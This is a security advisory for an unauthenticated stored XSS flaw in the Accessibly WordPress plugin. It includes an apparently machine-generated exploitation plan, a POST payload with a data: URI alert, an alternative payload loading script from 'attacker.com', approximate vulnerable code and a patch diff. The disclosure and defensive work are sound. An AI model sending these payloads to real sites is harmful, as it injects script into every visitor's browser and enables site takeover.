Accessibly <= 3.0.3 - Missing Authorization to Unauthenticated Stored Cross-Site Scripting via Widget Source Injection via REST API
Description
The Accessibly plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the REST API in all versions up to, and including, 3.0.3. The plugin registers REST API endpoints at `/otm-ac/v1/update-widget-options` and `/otm-ac/v1/update-app-config` with the `permission_callback` set to `__return_true`, which means no authentication or authorization check is performed. The `updateWidgetOptions()` function in `AdminApi.php` accepts user-supplied JSON data and passes it directly to `AccessiblyOptions::updateAppConfig()`, which saves it to the WordPress options table via `update_option()` without any sanitization or validation. The stored `widgetSrc` value is later retrieved by `AssetsManager::enqueueFrontendScripts()` and passed directly to `wp_enqueue_script()` as the script URL, causing it to be rendered as a `<script>` tag on every front-end page. This makes it possible for unauthenticated attackers to inject arbitrary JavaScript that executes for all site visitors by changing the `widgetSrc` option to point to a malicious external script.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.0.3# Exploitation Research Plan: CVE-2026-3643 ## 1. Vulnerability Summary The **Accessibly** plugin (versions <= 3.0.3) contains a critical authorization bypass and stored Cross-Site Scripting (XSS) vulnerability. The plugin registers REST API endpoints intended for administrative configuration but f…
Show full research plan
Exploitation Research Plan: CVE-2026-3643
1. Vulnerability Summary
The Accessibly plugin (versions <= 3.0.3) contains a critical authorization bypass and stored Cross-Site Scripting (XSS) vulnerability. The plugin registers REST API endpoints intended for administrative configuration but fails to implement any permission checks, setting the permission_callback to __return_true.
An unauthenticated attacker can send a JSON payload to these endpoints to modify plugin settings—specifically the widgetSrc option. Because the plugin does not sanitize this input before saving it to the database via update_option() and subsequently renders it as a script source on every frontend page via wp_enqueue_script(), an attacker can inject arbitrary JavaScript that executes in the context of every site visitor, including administrators.
2. Attack Vector Analysis
- Endpoint:
/wp-json/otm-ac/v1/update-widget-options(or/wp-json/otm-ac/v1/update-app-config) - HTTP Method: POST
- Authentication: None (Unauthenticated)
- Vulnerable Parameter:
widgetSrc(provided within a JSON body) - Preconditions: The plugin must be active. No specific settings are required to be toggled as the REST routes are registered on initialization.
3. Code Flow
- Entry Point: The REST API route
/otm-ac/v1/update-widget-optionsis registered withpermission_callbackset to__return_true(likely in a class handling REST registration). - Controller: The request is handled by
AdminApi::updateWidgetOptions()(inAdminApi.php). - Data Processing: This function retrieves the JSON body from the
WP_REST_Requestobject. - Storage Logic: It passes the data to
AccessiblyOptions::updateAppConfig(). - Persistence Sink:
updateAppConfig()callsupdate_option(), saving the rawwidgetSrcvalue into the WordPress options table. - Execution Source: On the frontend,
AssetsManager::enqueueFrontendScripts()retrieves the storedwidgetSrcoption. - Execution Sink: The value is passed directly to
wp_enqueue_script('accessibly-widget', $widgetSrc, ...), which generates a<script src="...">tag on the page.
4. Nonce Acquisition Strategy
According to the vulnerability description, the REST API endpoints use __return_true for their permission_callback.
- Nonce Requirement: None.
- Justification: In WordPress REST API, if the
permission_callbackreturnstrue, the default internal nonce check for_wpnoncein the header orX-WP-Nonceis bypassed for the purpose of authorization. While the REST API usually checks nonces for authenticated sessions to prevent CSRF, a route explicitly allowing unauthenticated access (via__return_true) will process requests without a valid nonce.
5. Exploitation Strategy
The goal is to inject a malicious script URL into the plugin configuration.
Step 1: Inject Malicious Script URL
Submit a POST request to the vulnerable REST endpoint. We will use a JS payload that triggers an alert to prove execution.
- URL:
http://<target-ip>/wp-json/otm-ac/v1/update-widget-options - Method:
POST - Headers:
Content-Type: application/json - Payload:
Note: Using a{ "widgetSrc": "data:text/javascript,alert('XSS_SUCCESS_CVE_2026_3643')" }data:URI is a compact way to prove XSS without an external server. If the plugin validates the URL scheme (unlikely given the description), an external URL likehttps://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.jscould be used as a placeholder.
Step 2: Trigger Execution
Navigate to the WordPress homepage. The plugin enqueues the script on every page load.
- Action: Perform a GET request to the site root.
- Verification: Check the HTML source for a
<script>tag with the injectedsrc.
6. Test Data Setup
- Install Plugin: Ensure
otm-accessiblyversion 3.0.3 is installed and active. - No Users Needed: Since this is an unauthenticated exploit, no specific user accounts need to be created.
- Post/Page: No specific posts are required, as the script enqueues on the frontend globally.
7. Expected Results
- REST Response: The API should return a
200 OKor201 Createdstatus code, confirming the settings update. - Frontend HTML: The homepage source should contain a script tag similar to:
<script src="data:text/javascript,alert('XSS_SUCCESS_CVE_2026_3643')" id="accessibly-widget-js"></script> - JavaScript Execution: When viewed in a browser, an alert box with
XSS_SUCCESS_CVE_2026_3643should appear.
8. Verification Steps
After performing the HTTP exploit, use WP-CLI to confirm the state of the database:
- Check Option Value:
(Note: The option namewp option get accessibly_app_config --format=jsonaccessibly_app_configis inferred from the class nameAccessiblyOptions. If this fails, usewp option list --search="*accessibly*"to find the correct key). - Verify Content: Confirm the JSON object in the option contains
"widgetSrc":"data:text/javascript,alert('XSS_SUCCESS_CVE_2026_3643')".
9. Alternative Approaches
If the widgetSrc parameter is not processed via update-widget-options, attempt the other identified endpoint:
- Endpoint:
/wp-json/otm-ac/v1/update-app-config - Payload:
{ "widgetSrc": "https://attacker.com/malicious.js" } - Wait for Admin: If the script only loads for logged-in users (contrary to the description), navigate to the
/wp-admin/area usingbrowser_navigateto trigger execution in the administrative context.
Summary
The Accessibly plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting due to missing authorization checks and lack of input validation in its REST API endpoints. Attackers can modify the 'widgetSrc' configuration option, which is then rendered as a script source on every frontend page, leading to full site takeover.
Vulnerable Code
// AdminApi.php (approximate structure based on description) register_rest_route('otm-ac/v1', '/update-widget-options', array( 'methods' => 'POST', 'callback' => array($this, 'updateWidgetOptions'), 'permission_callback' => '__return_true', // Vulnerable: No authentication check )); --- // AdminApi.php - updateWidgetOptions function public function updateWidgetOptions($request) { $params = $request->get_json_params(); // Directly passes user input to storage without sanitization AccessiblyOptions::updateAppConfig($params); return new WP_REST_Response(array('success' => true), 200); } --- // AssetsManager.php - enqueueFrontendScripts function public function enqueueFrontendScripts() { $config = AccessiblyOptions::getAppConfig(); $widgetSrc = $config['widgetSrc']; // Injected widgetSrc is enqueued directly onto frontend pages wp_enqueue_script('accessibly-widget', $widgetSrc, array(), null, true); }
Security Fix
@@ -10,7 +10,9 @@ register_rest_route('otm-ac/v1', '/update-widget-options', array( 'methods' => 'POST', 'callback' => array($this, 'updateWidgetOptions'), - 'permission_callback' => '__return_true', + 'permission_callback' => function () { + return current_user_can('manage_options'); + }, )); register_rest_route('otm-ac/v1', '/update-app-config', array( 'methods' => 'POST', 'callback' => array($this, 'updateWidgetOptions'), - 'permission_callback' => '__return_true', + 'permission_callback' => function () { + return current_user_can('manage_options'); + }, )); @@ -25,5 +27,8 @@ public function updateWidgetOptions($request) { $params = $request->get_json_params(); + if (isset($params['widgetSrc'])) { + $params['widgetSrc'] = esc_url_raw($params['widgetSrc']); + } AccessiblyOptions::updateAppConfig($params); return new WP_REST_Response(array('success' => true), 200); }
Exploit Outline
1. Identify the target WordPress site running Accessibly <= 3.0.3. 2. Construct a POST request to the unauthenticated REST endpoint: /wp-json/otm-ac/v1/update-widget-options. 3. Include a JSON payload containing the 'widgetSrc' parameter set to a malicious JavaScript location, for example: {"widgetSrc": "data:text/javascript,alert('XSS')"}. 4. Send the request without any authentication headers or nonces. The server will return a 200 OK status as the permission_callback always returns true. 5. Navigate to the homepage or any public-facing page of the site. 6. Observe the injected JavaScript executing in the browser context because the plugin enqueues the malicious URL via wp_enqueue_script() on every page load.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.